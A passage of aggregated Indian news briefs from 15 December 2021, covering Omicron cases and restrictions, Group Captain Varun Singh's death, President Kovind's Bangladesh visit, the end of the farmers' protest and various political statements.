increase globally, we expect the number of hospitalized cases and even deaths to be reported," the WHO said in a statement. Live TV New Delhi/Punjab: Disrupting the political discourse of Punjab, AAP National Convenor and Delhi CM Arvind Kejriwal has issued a video message addressing the abysmal state of government schools in the state. He said that the condition of Punjab Government schools is distressing, it pains me to see teachers and children suffer because of an incompetent government. He stated that the future of over 24 lakh students from underprivileged and SC communities is in the dark because the Punjab Government doesn't want them to excel. He added that the teachers of Punjab are very good people but they have been harassed to such an extent that they have lost all hope in the system. He further said that AAP completely revolutionised schools, changed the face of government education in Delhi; and AAP has vowed to bring prosperity in Punjab just like Delhi; we will transform the education system, build world class schools. He announced that AAP will uplift all the students of the underprivileged and SC communities, and help them get the life they desire. AAP National Convenor and Delhi CM Arvind Kejriwal on Sunday issued a video message. He addressed the message to the Punjab Government School teachers, students and their parents. He talked about the fragility of Punjab's education system and the state government's false claims regarding it and expressed deep concern for the future of the children. Arvind Kejriwal said, The condition of education and government schools is extremely poor in Punjab. Theres no sign of any proper education taking place in Punjabs government schools. The teachers in Punjab are great, theyre talented, but they are extremely distressed with the state of affairs. 24 lakh students belonging to poor, Dalit, and SC communities go to these government schools to seek education. Imagine what the future of these 24 lakh children will look like. He added, Earlier, the condition of government schools in Delhi was also extremely poor. We worked very hard to transform them, and turned them into splendid education institutes. The reform in these schools was so impressive that this year 2.5 lakh students transferred from private schools to Delhis government schools. Shouldnt Punjabs schools also be well developed and fully functioning like Delhis? Channi Sahab says that Punjabs schools are number 1 in the entire country, that there is no need to fix them. Does anyone actually think that the conditions of schools in Punjab can be deemed number 1 in the entire country? He concluded, In the 75 years since Indias independence, party after party has ensured to keep government schools in their poor condition and not done anything to improve them. They did this in order to keep children of the poor, Dalit and SC children at a back foot, so that they do not progress. I do not want any power, or indulge in meaningless politics. All I care about is the future of the students in Punjab and want to make sure it doesnt become bleak. We will fix all the government schools, make them fully functional and give these students a bright future. All we need is your support. Live TV Hyderabad: At least nine passengers of an Andhra Pradesh State Road Transport Corporation bus were killed as it fell into a rivulet near Jangareddygudem in West Godavari district on Wednesday. The bus fell in Jilleru waagu (Jalleru stream). Check out videos from the scene: At least nine get killed as a bus falls into a river in #AndhraPradesh pic.twitter.com/mTAziyHsQP Zee News English (@ZeeNewsEnglish) December 15, 2021 West Godavari district Superintendent of Police Rahul Dev Sharma told PTI over phone from Eluru that there were about 35 passengers in the bus that was on its way to Jangareddygudem from Aswaraopet in neighbouring Telangana when the mishap occurred. The APSRTC bus driver tried to manoeuvre his way to avoid a lorry coming in the opposite direction on a bridge across the Jalleru rivulet. "The bus hit the bridge railing and fell into the rivulet. We have so far recovered eight bodies, including five female passengers," Rahul said. Local people and police rushed to the spot and were carrying out a rescue operation when reports last came in. Further details are awaited. (With inputs from PTI) Live TV Dhaka: Bangladesh Prime Minister Sheikh Hasina called on President Ram Nath Kovind in Dhaka on Wednesday and the two leaders discussed several issues of mutual interest and bilateral cooperation. President Kovind arrived here earlier in the day on a maiden three-day State Visit during which he will hold talks with his counterpart M Abdul Hamid and attend the golden jubilee celebrations of Bangladesh's independence from Pakistan in 1971. "Prime Minister Sheikh Hasina of Bangladesh called on President Ram Nath Kovind in Dhaka. Both leaders discussed several issues of mutual interest and bilateral cooperation between India and Bangladesh, the Rashtrapati Bhavan said in a tweet. Prime Minister Sheikh Hasina of Bangladesh called on President Ram Nath Kovind in Dhaka. Both leaders discussed several issues of mutual interest and bilateral cooperation between India and Bangladesh. pic.twitter.com/SmT915vPFU President of India (@rashtrapatibhvn) December 15, 2021 Bangladesh Foreign Minister Dr A.K. Abdul Momen also called on President Kovind in Dhaka. "FM Dr. Momen called on the Hon'ble President of India @rashtrapatibhvn and discussed bilateral issues. The dignitaries reiterated their wish to further consolidate the existing friendly ties between the two countries. Among others, SM @MdShahriarAlam and FS MB Momen were present, Bangladesh Foreign Ministry tweeted. Earlier, President Hamid along with his wife Rashida Khanam received President Kovind at Dhaka's Hazrat Shahjalal International Airport. Several senior ministers along with civil and military officials were present at the airport to receive Kovind -- the only foreign head of state invited to join the celebrations. Ministry of External Affairs (MEA) spokesperson Arindam Bagchi termed President Kovind's visit to Bangladesh a grand beginning. A grand beginning! In a special gesture, President HE Md. Abdul Hamid & First Lady Ms. Rashida Hamid welcomed President Kovind @rashtrapatibhvn & First Lady Smt. Savita Kovind, as they arrived in Dhaka. Accorded a red carpet welcome, a 21-gun salute, and a Guard of Honour, Bagchi said on Twitter. The Bangladesh Army, the Navy and the Air Force personnel offered him a guard of honour as part of the welcome ceremony at the airport from where he was escorted to the National Memorial at Savar on the outskirts of the capital in a motorcade. It is President Kovind's first trip abroad since the outbreak of the COVID-19 pandemic. He will represent India as the guest of honour in Bangladesh's 50th Victory Day celebrations here. In a reflection of close ties, India is also hosting a number of events to mark the 50th anniversary of the 1971 India-Pakistan war that led to the liberation of Bangladesh. Live TV Bengaluru: Group Captain Varun Singh, the lone survivor of the IAF chopper crash in Tamil Nadu passed away at the hospital. He was undergoing treatment at Command Hospital in Bengaluru. The Indian Air Force confirmed the news and tweeted, "IAF is deeply saddened to inform the passing away of braveheart Group Captain Varun Singh, who succumbed this morning to the injuries sustained in the helicopter accident on 08 Dec 21. IAF offers sincere condolences and stands firmly with the bereaved family." IAF Group Captain Varun Singh was the lone survivor of the helicopter crash that killed Chief of Defence Staff Gen Bipin Rawat, among others. The crash took place near Coonoor in Tamil Nadu. Group Captain Varun Singh was conferred with the Shaurya Chakra in August for averting a possible mid-air accident after his Tejas light combat aircraft suffered a major technical glitch last year. Check here: Chief of Defence Staff Gen Bipin Rawat, his wife Madhulika and 11 armed forces personnel were killed in the Mi-17V5 helicopter crash in one of the biggest air accidents involving top military officials. "Group Captain Varun Singh is on life support in the military hospital at Wellington and all efforts are being made to save his life," Defence Minister Rajnath Singh had said earlier. But Singh succumbed to his injuries today. Group Captain Singh was on board the Russian-made chopper as the liaison officer for the visit of General Rawat, India's senior-most military officer, to the Defence Services Staff College in Wellington. He was serving as an instructor at the prestigious institute. NEW DELHI: Bhartiya Kisan Union leader Rakesh Tikait has said that the movement of farmers against the farm laws has been suspended for the time being and not fully withdrawn since the talks with the Centre is over various issues. I am thankful to everyone who has been with us. I also extend my gratitude to the people who ran langars, villagers who brought essentials for us. Talks underway with the Centre after withdrawal of 3 farm laws. Our movement is suspended, not withdrawn, BKU leader Rakesh Tikait said on Wednesday. I am thankful to everyone who has been with us. I also extend my gratitude to the people who ran langars, villagers who brought essentials for us. Talks underway with the Centre after withdrawal of 3 farm laws. Our movement is suspended, not withdrawn: BKU leader Rakesh Tikait pic.twitter.com/XuOtRQOglj ANI (@ANI) December 15, 2021 Tikait made these remarks as the last batch of farmers, who had been protesting against the now-repealed three central farm laws, began vacating the Ghazipur protest site at the Uttar Pradesh-Delhi border. Besides Ghazipur, Singhu and Tikri borders had been the other protest sites where farmers had assembled to protest against the Centre's three farm laws. According to the Delhi Police, almost all barricades at the Singhu border that were erected to prevent the protesting farmers from moving towards the national capital had been dismantled now. Farmers started leaving the protest site on the Delhi-Haryana border on Saturday after the Samyukt Kisan Morcha (SKM) suspended the agitation following the repeal of the Centre's three farm laws and the government conceding to its other demands. A senior police officer said the concrete barriers and other obstacles have been cleared from the Singhu border. However, the road is not open for traffic yet. Besides the Singhu border, farmers, mainly from Punjab, Haryana and Uttar Pradesh, had laid siege to Delhi's Tikri and Ghazipur borders on November 26 last year. Another police officer said the roads have been cleared for commuters at the Tikri border and traffic is plying on the stretch. Farmer leaders said the Ghazipur border protest site will be cleared by Wednesday morning. Small batches of protesters are still there. The farm laws were repealed by Parliament on November 29. After the farmers leave the site completely, the officials of the National Highways Authority of India (NHAI) will inspect the road to assess any damage to the infrastructure. However, there is no official word on when the expressway will open for traffic. It may be noted that the three controversial farm laws were repealed by Parliament on November 29. The farmers had on November 26 last year had laid siege also on the Tikri and Ghazipur borders of Delhi to protest against the three laws and demand their repeal. That demand was accepted when Prime Minister Narendra Modi, while addressing the nation on November 19, announced that the three contentious laws will be repealed. The Union Cabinet swiftly cleared the bill to repeal the three laws, which was subsequently passed by Parliament on November 29. A few days later, the Centre agreed to the pending demands of the farmers, including those on minimum support price (MSP) and police cases. The three controversial farm laws were: The Farmers' Produce Trade and Commerce (Promotion and Facilitation) Act, 2020, the Farmers' (Empowerment and Protection) Agreement on Price Assurance and the Farm Services Act, 2020 and the Essential Commodities (Amendment) Act, 2020. Live TV New Delhi: West Bengal on Wednesday (December 15, 2021) reported its first Omicron case. A 7-year-old child who arrived from Hyderabad (Telangana) has tested positive for the new COVID-19 variant in the Murshidabad district. The child's parents, however, have tested negative. The child, who is an international traveller, had reportedly tested positive at the Hyderabad airport and had directly left for West Bengal. Earlier in the day, Hyderabad had also registered two cases of the new COVID-19 variant. A 24-year-old Kenyan woman and a 23-year-old Somalian man who arrived at the Hyderabad international airport on December 12 had tested positive. Meanwhile, the WHO has warned that Omicron is spreading at a rate that the world has not seen with any previous COVID-19 variant. During a media briefing on COVID-19, WHO Director-General Tedros Adhanom Ghebreyesus said that 77 countries have now reported cases of Omicron. "The reality is that Omicron is probably in most countries, even if it hasnt been detected yet. Even if Omicron does cause less severe disease, the sheer number of cases could once again overwhelm unprepared health systems," he said. Omicron is spreading at a rate we have not seen with any previous variant. I need to be very clear: vaccines alone will not get any country out of this crisis. Its not vaccines instead of masks, distancing, ventilation or hand hygiene. Do it all. Do it consistently. Do it well. pic.twitter.com/YAVfJXsviQ Tedros Adhanom Ghebreyesus (@DrTedros) December 14, 2021 The WHO chief also raised concern over vaccine inequity and said that there remains a 'vast gap' in rates of vaccination between countries. He informed that 41 countries have still not been able to vaccinate 10% of their populations, and 98 countries have not reached 40%. Live TV New Delhi: Group Captain Varun Singh, the lone survivor in the CDS Bipin Rawat chopper crash, has died on Wednesday (December 15, 2021) morning, the Indian Air Force (IAF) has said. "IAF is deeply saddened to inform the passing away of braveheart Group Captain Varun Singh, who succumbed this morning to the injuries sustained in the helicopter accident on 08 Dec 21. IAF offers sincere condolences and stands firmly with the bereaved family," the Indian Air Force said in a tweet. IAF is deeply saddened to inform the passing away of braveheart Group Captain Varun Singh, who succumbed this morning to the injuries sustained in the helicopter accident on 08 Dec 21. IAF offers sincere condolences and stands firmly with the bereaved family. Indian Air Force (@IAF_MCC) December 15, 2021 Meanwhile, Prime Minister Narendra Modi has condoled the death of Group Captain Singh and said that he served the nation with pride, valour and utmost professionalism. "I am extremely anguished by his passing away. His rich service to the nation will never be forgotten. Condolences to his family and friends. Om Shanti," the Prime Minister expressed in a tweet. Group Captain Varun Singh served the nation with pride, valour and utmost professionalism. I am extremely anguished by his passing away. His rich service to the nation will never be forgotten. Condolences to his family and friends. Om Shanti. Narendra Modi (@narendramodi) December 15, 2021 Union Home Minister Amit Shah, Defence Minister Rajnath Singh and other ministers also condoled the Group Captain's demise. "Deeply pained to learn about the passing away of Group Captain Varun Singh, who was battling with the injuries after the helicopter accident in Coonoor. May God bless the Brave`s soul and give strength to his family. My deepest condolences. Om Shanti Shanti Shanti," Shah tweeted. Deeply pained to learn about the passing away of Group Captain Varun Singh, who was battling with the injuries after the helicopter accident in Coonoor. May God bless the Brave's soul and give strength to his family. My deepest condolences. Om Shanti Shanti Shanti. Amit Shah (@AmitShah) December 15, 2021 Rajnath Singh said, "Pained beyond words to learn of the demise of IAF pilot, Group Captain Varun Singh. He was a true fighter who fought till his last breath. My thoughts and deepest condolences are with his family and friends. We stand firmly with the family, in this hour of grief." Pained beyond words to learn of the demise of IAF pilot, Group Captain Varun Singh. He was a true fighter who fought till his last breath. My thoughts and deepest condolences are with his family and friends. We stand firmly with the family, in this hour of grief. https://t.co/hZrdatjaAA Rajnath Singh (@rajnathsingh) December 15, 2021 Group Captain Varun Singh was seriously injured in the IAF Mi-17V5 helicopter crash in Tamil Nadu on December 8 and was getting treated at a military hospital in Bengaluru. He was the lone survivor of the crash in which Chief of Defence Staff Gen Bipin Rawat, his wife Madhulika and 11 armed forces personnel were killed. This is noteworthy that Group Captain Singh was conferred with the Shaurya Chakra in August for averting a possible mid-air accident after his Tejas light combat aircraft was hit by a major technical snag last year. Live TV New Delhi: Group Captain Varun Singh, the lone survivor of Tamil Nadu chopper crash who succumbed to his injuries earlier today, will be cremated on Friday (December 17) at Madhya Pradeshs Bhopal, Indian Air Force (IAF) said on Wednesday. Singh had been undergoing treatment at Command Hospital in Bengaluru since IAF helicopter crash on December 8 that claimed the lives of CDS General Bipin Rawat, his wife Madhulika Rawat and 11 armed forces personnel. Group Captain Varun Singh's mortal remains are planned to be airlifted to Bhopal tomorrow. The funeral is planned on the following day, 17 December, at Bhopal, IAF was quoted by ANI. Group Captain Varun Singh's mortal remains are planned to be airlifted to Bhopal tomorrow. The funeral is planned on the following day, 17 December, at Bhopal: Indian Air Force (IAF) ANI (@ANI) December 15, 2021 Condolences poured over from leaders across the political sphere after IAF informed of Singhs demise earlier on Wednesday. IAF said in a statement, IAF is deeply saddened to inform the passing away of braveheart Group Captain Varun Singh, who succumbed this morning to the injuries sustained in the helicopter accident on 08 Dec 21. IAF offers sincere condolences and stands firmly with the bereaved family." Prime Minister Narendra Modi, President Ram Nath Kovind, Vice President M Venkaiah Naidu, Union Home minister Amit Shah, Congress MP Rahul Gandhi, West Bengal Chief Minister Mamata Banerjee and Kerala Chief Minister Pinarayi Vijayan among others paid tribute to Group Captain Varun Singh. Singh, 39, was conferred with the Shaurya Chakra, India's third highest peacetime gallantry award, on August 15 this year for 'displaying exemplary composure and skill when his Tejas aircraft developed a technical snag during the sortie'. "He was posted to Defence Services Staff College as an instructor when he passed away. He is survived by his wife, a son and a daughter," IAF said. (With agency inputs) Live TV New Delhi: Amidst the looming threat of the Omicron variant, the Ministry of Civil Aviation (MoCA) has once again paused the move to resume scheduled international flights to India. Importantly, the Civil Aviation Ministry had earlier announced the resumption of international flights from December 15. Speaking at a Confederation of Indian Industry (CII) event on Tuesday, Union Civil Aviation Minister Jyotiraditya Scindia said that India was ready to restart scheduled international flight operations but was forced to stop them due to the Omicron threat. "Though I was looking forward to opening international air traffic, keeping in mind how Omicron has been raising virulently and violently around the world, we took this decision. All countries across the world have decided to contain international exposure and we did the same in India as of today," Scindia said. When asked as to when India is planning to open scheduled international flights, the Union Aviation Minister said that it depends on the COVID-19 situation in the country. "It depends on Omicron and its behaviour," he added. Meanwhile, over 50 omicron cases have been detected in India so far and as a precaution, the government has decided to put 12 countries on the `at-risk` list. "All international travellers coming from `at risk` countries will have to compulsorily prebook an RT-PCR test starting December 19, 2021, at six metro cities airports," MoCA order read. Elaborating on the impact of COVID-19 on international flights, Scindia said, "Airlines were carrying around 420,000 passengers a day before COVID and the numbers are close to those numbers at present." "The airlines are flying with 3.7 to 3.9 lakh passengers per day at a seat load factor of 75 to 80 per cent, which is a very healthy load factor," the Aviation Minister said. India has banned scheduled international flights from March 2020. Currently, the country has air bubble agreements with many countries and Vande Bharat Mission (VBM) flights are also operational. Live TV Kochi: Kerala Chief Minister Pinarayi Vijayan hit out at Congress leader Rahul Gandhi over "soft Hindutva" politics and asserted the need for regional alliances to defeat the Bharatiya Janata Party (BJP). He was speaking at the inaugural event of the CPI(M) conference at the Ernakulam district conference. He said, "The idea of a Hindu government put forward by Rahul Gandhi at the Jaipur rally is part of the soft Hindutva politics that has already been adopted by Congress." "Congress has always taken a Hindutva stance. There is also a policy of communal appeasement that is part of it. Rahul Gandhi`s speech is reassuring that. One by one, the Congress leaders are now leading the BJP as part of an earlier policy," added Vijayan. Vijayan said that the people and the Congress workers have lost faith in the Congress, adding "For whatever reason, we cannot see Congress as an alternative force to BJP." "The Left has good credibility with the people. All that can be done is to form alliances in each state with the democratic parties that are strongly opposed to the BJP. The position of the CPIM is to form a secular government. All that needs to be done is to use secular parties and groups to move forward to replace the BJP at the all-India level. What needs to be done is to strengthen the relationship with such parties," Vijayan added. The Kerala Chief Minister also slammed the Indian Union Muslim League (IUML) alleging that they were forming an alliance with outfits like Jamaat-e-Islami against the communist government. "The UDF and the BJP are now trying to create communal polarization in the state. We can see that in the new media. The Sangh Parivar and Islamic extremists want to create communal tensions. Both groups help each other. They are carrying out challenges that are destroying the secularism of Kerala," he added. Live TV New Delhi: Amid opposition seeking resignation of Union minister Ajay Mishra Teni over Lakhimpur Kheri violence, the BJP on Wednesday (December 15) rejected the demand calling it unfounded. Ruling out a discussion on the issue during the ongoing Winter session of the Parliament, Union minister and senior BJP leader Piyush Goyal said the matter is sub-judice. The probe is on under Supreme Court's directions. Such comments (of opposition) are unfounded," Piyush Goyal was quoted as saying by PTI. Talking to the reporters, he added, "Parliamentary rules dictate that a sub-judice matter is not discussed (in Parliament)." The opposition has raised its clamour since a Special Investigation Team (SIT) probing the Lakhimpur Kheri violence termed it a "pre-planned conspiracy". MoS, Home Affairs, Ajay Tenis son, Ashish Mishra, who is under arrest, is among the 13 accused in the violence that took place in Uttar Pradesh's Lakhimpur Kheri on October 3 wherein a total of eight people including four farmers and a journalist were killed. Demanding dismissal of MoS Teni, Congress MP Rahul Gandhi told reporters, "It has been said that it's (Lakhimpur Kheri incident) is a conspiracy, it obviously is. Everyone knows whose son is involved, we want the minister (MoS Home Ajay Mishra) to resign. We want discussion in Parliament, but PM refuses. They are making excuses." Depending on how much pressure we put, action will be taken (by govt). We will ensure that this criminal who is a minister...(resigns) & justice is served to families...We had said that farm laws will be taken back, everybody put pressure & farm laws were withdrawn: Rahul Gandhi pic.twitter.com/owZbG22VcZ ANI (@ANI) December 15, 2021 Senior Congress leader KC Venugopal attacked the BJP-led central government for refusing to discuss the issue in Parliament. "Govt is not even allowing discussion on the Lakhimpur Kheri incident in the Parliament. The parliament building has become a museum... no debates, no discussion..." he was quoted as saying by ANI. Meanwhile, the Lok Sabha was adjourned for the day on Wednesday owing to protests by the Opposition over SIT's report on Lakhimpur Kheri violence. The Opposition members had stormed into the Well raising slogans with placards in their hands demanding Teni's resignation. (With agency inputs) Live TV Panaji: West Bengal Chief Minister Mamata Banerjee on Tuesday (December 14) said Prime Minister Narendra Modi remembers the Ganga river, which is regarded as the "mai" (mother) by lakhs, only during elections to get votes. Her jibe comes a day after PM Modi took a ritualistic dip in the holy river before inaugurating the Kashi Vishwanath Dham (KVD) in Varanasi. Addressing a public meeting at Assnora village in North Goa on the last day of her two-day visit to Goa, the TMC supremo said the prime minister can do anything to get votes and recalled his visit to Uttarakhand for performing "tapasya" (meditation). She also alleged that the BJP government in Uttar Pradesh made the Ganga river "impure by throwing unclaimed bodies of COVID-19 victims". Banerjee said around 23 lakh people visit Gangasgar in West Bengal to participate in the Gangasagar Mela like the Kumbh congregation. "But we don't worship the Ganga river only during the time of elections. During the election time, Modi Ji went and took a dip in the Ganga river," she said in an apparent reference to the PM's visit to Varanasi, his Lok Sabha constituency, on Monday for inaugurating the KVD which houses the world-famous Kashi Vishwanath temple Banerjee said PM Modi took a dip in the Ganga river "only to get votes." pic.twitter.com/iBuRImW9Q1 Narendra Modi (@narendramodi) December 13, 2021 "He can do anything to get votes. He had gone to Uttarakhand and performed tapasya. We have no objection to it. Let him do whatever he wants to. He has freedom (to do whatever he wants) but where were you during the entire year?" she asked. The swipe at PM Modi came in reference to his visit to a cave near the Kedarnath temple where he had spent a day meditating after the election campaign for the 2019 Lok Sabha polls, which the BJP won. I pray to God for my dear Goans and for the people of our beautiful country. May God bless everyone abundantly. May God fill your lives with happiness and prosperity. Come, let us unitedly fight all divisive forces and usher in a New Dawn for Goa! pic.twitter.com/2GYk0NG7Pu Mamata Banerjee (@MamataOfficial) December 14, 2021 The West Bengal chief minister accused the Yogi Adityanath government in UP of throwing unclaimed bodies of the COVID-19 victims in the Ganga river. "They have made the Gangamai (mother Ganga) 'apavitra' (impure). We call the Ganga water pure. We call the river our mother. But the BJP has thrown COVID-19 dead bodies in the Ganga river. We don't like it," she said. Banerjee, who is projecting herself as the opposition pivot to take on the BJP and whose party is contesting the maiden assembly elections in Goa, was livid at the "Bengali party" tag assigned to the TMC. Goa, thank you for your love! As my day comes to an end, my heart is filled with joy. I promise you that I will fight for you till the last drop of my blood. Together, we will save Goa from @BJP4India. We will save Goa from this DISASTER!#KhelZatlo pic.twitter.com/eKa8RlcATl Mamata Banerjee (@MamataOfficial) December 14, 2021 "They say we are Bengalis, (but) who are they? They are Gujaratis. Did we ever say that he is a Gujarati and he should not come here? If Gujaratis can go anywhere in the entire country, why can't Bengalis go? If a Bengali can write the National Anthem, can't he come to Goa?? she questioned. Banerjee said Mahatma Gandhi was seen as the leader of the entire nation and not of any state. "We don't think which part of the country he belonged to. A true leader should take the country together," she commented. The West Bengal chief minister said that Goa will not be run from Gujarat or Delhi but Goans will run their state. Live TV Srinagar: Special police officer (SPO) of BJP leader and his associate, who had decamped along with two AK-47 rifles from guard room a couple of days ago, was arrested on Wednesday (December 15) by Kulgam police. A senior police officer of Kupwara confirming his arrest said, We have arrested the missing PSO and his associate along with weapons he had taken with him. He is being questioned. During the intervening night of December 12 and 13, Saqib Ahmad Tantry (SPO) deployed as PSO of local BJP leader Abdul Rashid Zargar had decamped with two weapons and was missing along with his associate Arif Ahmad, also a resident of Bohipora Kupwara. Earlier today, the Police had also announced Rs 5 lakh reward to anyone providing information about the duo. Live TV BENGALURU: Amid growing concerns over the rising number of Omicron cases in the country, Karnataka Health Minister K Sudhakar on Wednesday warned that the new COVID-19 variant is highly infections and that people needed to follow the social distancing norms strictly. Omicron is highly infectious; Masking and social distancing should be practiced. It is unfortunate that people are not wearing masks, Dr K Sudhakar, Karnataka Health Minister, said. He also warned that the state government would soon be passing advisories and regulations to ensure that the Centres COVID-19 guidelines are strictly followed. Omicron is highly infectious. We should keep our guards on. Masking and social distancing should be practiced. It is unfortunate that people are not wearing masks, we will be passing advisories and regulations on the same: Dr K Sudhakar, Karnataka Health Minister pic.twitter.com/kheDofk6Fl ANI (@ANI) December 15, 2021 The remarks from Karnataka Health Minister came shortly after Telangana reported the first case of Omicron with two air passengers from Kenya and Somalia testing positive for the new variant of Covid-19. Both the cases were detected among air passengers from non-risk countries. Both had arrived at Hyderabad International Airport on December 12 via Abu Dhabi and Qatar, a top health official said. A 24-year-old female had arrived from Kenya while a 23-year-old had come from Somalia. The Kenyan national has been isolated at Telangana Institute of Medical Sciences (TIMS) while health authorities were trying to trace the second case. Director of public health Dr G Srinivasa Rao said two close contacts of the Kenyan national have also been sent for the Covid-19 test. He said the cases were detected among two per cent tests being conducted randomly on passengers arriving from non-risk countries. Both had tested positive for Covid on arrival and their samples were sent for genome sequencing. The genome sequencing reports received Tuesday night showed them to be positive for Omicron. It would be important to note that the WHO has also warned that the Omicron variant is spreading at an unprecedented rate. WHO Director-General Tedros A. Ghebreyesus said that a total of 77 countries have reported Omicron cases so far but the reality is that this variant is probably yet to be detected in some countries. "Omicron is spreading at a rate we have not seen with any previous variant. I need to be very clear: vaccines alone will not get any country out of this crisis. It`s not vaccines instead of masks, distancing, ventilation or hand hygiene. Do it all. Do it consistently. Do it well", said Ghebreyesus. He said that there remains a vast gap in rates of Covid-19 vaccination between countries. "41 countries still have not been able to vaccinate 10 per cent of their populations. 98 countries have not reached 40 per cent. We also see significant inequities between population groups in the same country", said Dr Tedros. In India, the Omicron variant caseload is rising each day. Live TV New Delhi: President Ram Nath Kovind will be visiting the historic 'Ramna Kali' temple in Dhaka during his visit to Bangladesh for the 50th Victory Day celebrations. This historic temple, which dates back to the Mughal era, was destroyed by the Pakistani Army in March 1971 in an attempt to curb the Bangladesh liberation war. The temple, notably, was destroyed by the Pakistani army under its "Operation Searchlight" which saw lakhs of locals in the then East Pakistan being killed, including many members of the minority Hindu community. In 2017, during the then external affairs minister Sushma Swaraj's Bangladesh visit, it was announced that India will help reconstruct the temple. The temple, before its destruction, was Dhaka's key religious and cultural heritage. During Bangladesh's founding father Sheikh Mukibur Rahman's famous address of March 7 1971, the temple could be seen in the background in several photos. The landmark speech was essentially a clarion call for the Independence of the country from West Pakistan and was delivered at the 'Ramna Race Course maidan' in the city. President Kovind will be in Dhaka from December 15 to 17 and will be the chief guest at the Victory Day celebrations on December 16. The parade includes a 122-member tri-service contingent from the Indian armed forces. On the first day of the visit, he will pay tributes at the National Martyrs' Memorial in Savar. His program also includes meeting with the Muktijoddhas or Bangladeshis who took up arms to free the country. This is the President's first-ever visit abroad since the outbreak of the COVID-19 pandemic. President Ram Nath Kovind emplanes for Dhaka to participate in the special celebrations of Mujib Shato Borsho and the 50th anniversary of Bangladeshs Liberation. This is the first state visit of the President since the outbreak of COVID-19 pandemic. pic.twitter.com/0TvQs3IPz6 President of India (@rashtrapatibhvn) December 15, 2021 Earlier in March this year, Prime Minister Narendra Modi had also visited the country as part of his first foreign travel amid the coronavirus crisis. 2021, notably, marks the Golden Jubilee of Bangladesh's independence, 50 years of the establishment of diplomatic relations between India and Bangladesh and the birth centenary of Bangabandhu -- Sheikh Mujibur Rahman. Live TV New Delhi: Private and civic schools for classes 1 to 7 in Maharashtras Nagpur are all set to reopen from Thursday (December 16). The Nagpur Municipal Corporation (NMC) on Wednesday said it has decided to reopen schools for students of classes 1 to 7 in the civic limits while adhering to strict COVID-19 protocols, PTI reported. Schools and other educational institutions were closed in March 2020 in the wake of the outbreak of the COVID-19 pandemic. NMC education officer Priti Mishrikotkar told the news agency that 1,053 private schools and 116 civic-run schools, with 2.49 lakh students, will reopen on Thursday. The schools have been directed to ensure compliance with coronavirus protocols. In a release, NMC said, Only one student will be allowed on one bench. All the students will have to wear face masks and follow COVID-19 related protocols. The primary and middle classes schools were earlier supposed to resume physical classes in the first week of December, however, NMC postponed the decision in view of the Omicron variant of coronavirus. The Pune Municipal Corporation also announced earlier to reopen the schools for standard 1 to 7 in Pune from Thursday. Meanwhile, schools for classes 1 to 7 of civic schools reopened in Mumbai on Wednesday after being shut for over 20 months owing to the pandemic. (With agency inputs) Live TV New Delhi: Congress president Sonia Gandhi on Tuesday met a group of opposition leaders and held consultations with them to evolve a joint strategy in Parliament, sources said. NCP supremo Sharad Pawar, J&K National Conference patron Farooq Abdullah, Shiv Sena leader Sanjay Raut and DMK leader T R Baalu were among the leaders who met Gandhi at her 10, Janpath residence. Sources said more such meetings would be held in the next few days, in a bid to bring all opposition forces together. Opposition parties have been protesting the suspension of 12 Rajya Sabha MPs and are holding protests, seeking the revocation of their suspensions. The suspension of MPs- is a symbol of the crushing of the voice of the people of India. They have been suspended now for 2 weeks, they have done nothing wrong. We are not allowed to discuss & debate important issues- this is not the way to run the Parliament.: Shri @RahulGandhi pic.twitter.com/n1TkwGJ0ZC Congress (@INCIndia) December 14, 2021 Former Congress chief Rahul Gandhi and leader of Opposition in Rajya Sabha Mallikarjun Kharge were also part of Tuesday's meeting. According to sources, Sonia Gandhi had invited Uddhav Thackeray and DMK chief MK Stalin. Both deputed their leaders --Raut and Baalu-- respectively. Earlier in the day, opposition MPs in both Lok Sabha and Rajya Sabha held a protest march from the Gandhi statue in the Parliament complex to Vijay Chowk with Rahul Gandhi alleging that the Opposition is not being allowed to raise issues in Parliament, which is now merely a building and a museum. "Wherever the Opposition is trying to raise issues, they are suppressed. The government does not allow us to raise issues. This is the murder of democracy. We want to raise issues against the government, but we are not allowed to do so," he told reporters. Live TV New Delhi: The West Bengal government on Wednesday (December 15) extended the existing COVID-19 restrictions up to January 15, 2022, after the state recorded its first case of Omicron variant earlier in the day. According to the government order, Restrictions related to the movement of people and vehicles between 11 pm and 5 am shall be relaxed for Christmas and New Year celebration during Dec 24 to Jan 1. #Omicron: West Bengal Govt extends existing COVID restrictions up to Jan 15 Restrictions related to the movement of people and vehicles between 11 pm and 5 am shall be relaxed for Christmas and New Year celebration during Dec 24 to Jan 1, the order reads pic.twitter.com/z6e6wwwQqz ANI (@ANI) December 15, 2021 All shops, restaurants and bars are allowed to remain open as per the normal operational hours and late closing of bars may be permitted as per the extant rules, from December 24, 2021 till January 1, 2022, the order added. District administration, police commissionerates and local authorities shall ensure strict compliance of the stated directives, the government said. A seven-year-old boy, resident of Bengal's Murshidabad district, tested positive for Omicron, a senior official of the health department said earlier today. "The boy flew with his parents from Abu Dhabi to Hyderabad, where he tested positive for Omicron. He had not entered Hyderabad city. He returned to Kolkata on December 11. The state health department was alerted about his Omicron report by authorities in Hyderabad only on Wednesday morning," the official was quoted as saying by PTI. However, the child's parents tested negative for the new COVID strain. Meanwhile, World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus said that 77 countries have reported cases of Omicron so far. "The reality is that Omicron is probably in most countries, even if it hasnt been detected yet. Even if Omicron does cause less severe disease, the sheer number of cases could once again overwhelm unprepared health systems," the WHO chief warned. (With agency inputs) Live TV New Delhi: Kickstarting its tour to assess the preparedness of poll-bound states, a team of the Election Commission would visit Punjab from Wednesday. This would be the poll panels first visit to a state going for assembly elections early next year. The EC may announce dates for polls in Uttar Pradesh, Uttarakhand, Manipur, Goa and Punjab sometime in January, it is learnt. After visiting Punjab on Wednesday and Thursday, the Commission could visit Goa sometime next week and Uttarakhand, Uttar Pradesh and Manipur later. While the term of the Uttar Pradesh assembly ends in May next year, the terms of the legislative assemblies of the other four states end on different dates in March 2022. The Commission usually visits poll-bound states before announcing the election schedule. But there have been instances when it has visited states after the announcement of elections. During their visit to Punjab, Chief Election Commissioner Sushil Chandra and Election Commissioners Rajiv Kumar and Anup Chandra Pandey would meet state officials and other stakehokders to assess the ground situation. Updating voters list and adherence to Covid-protocol are some of the issues which the Commission could assess. The EC team may also meet representatives of political parties during its visit. Senior EC officials have been to these states, including Uttar Pradesh, in the recent past to assess the preparedness. Live TV New Delhi: Taking a step further to strengthen Indo-Afghan relations, after dispatching medical aid to Afghanistan on humanitarian grounds, the government of India has now relaxed fumigation regulations for import of agricultural commodities from Afghanistan via Attari-Wagah land route. Acting on the demands of the Indo-Afghan traders, the 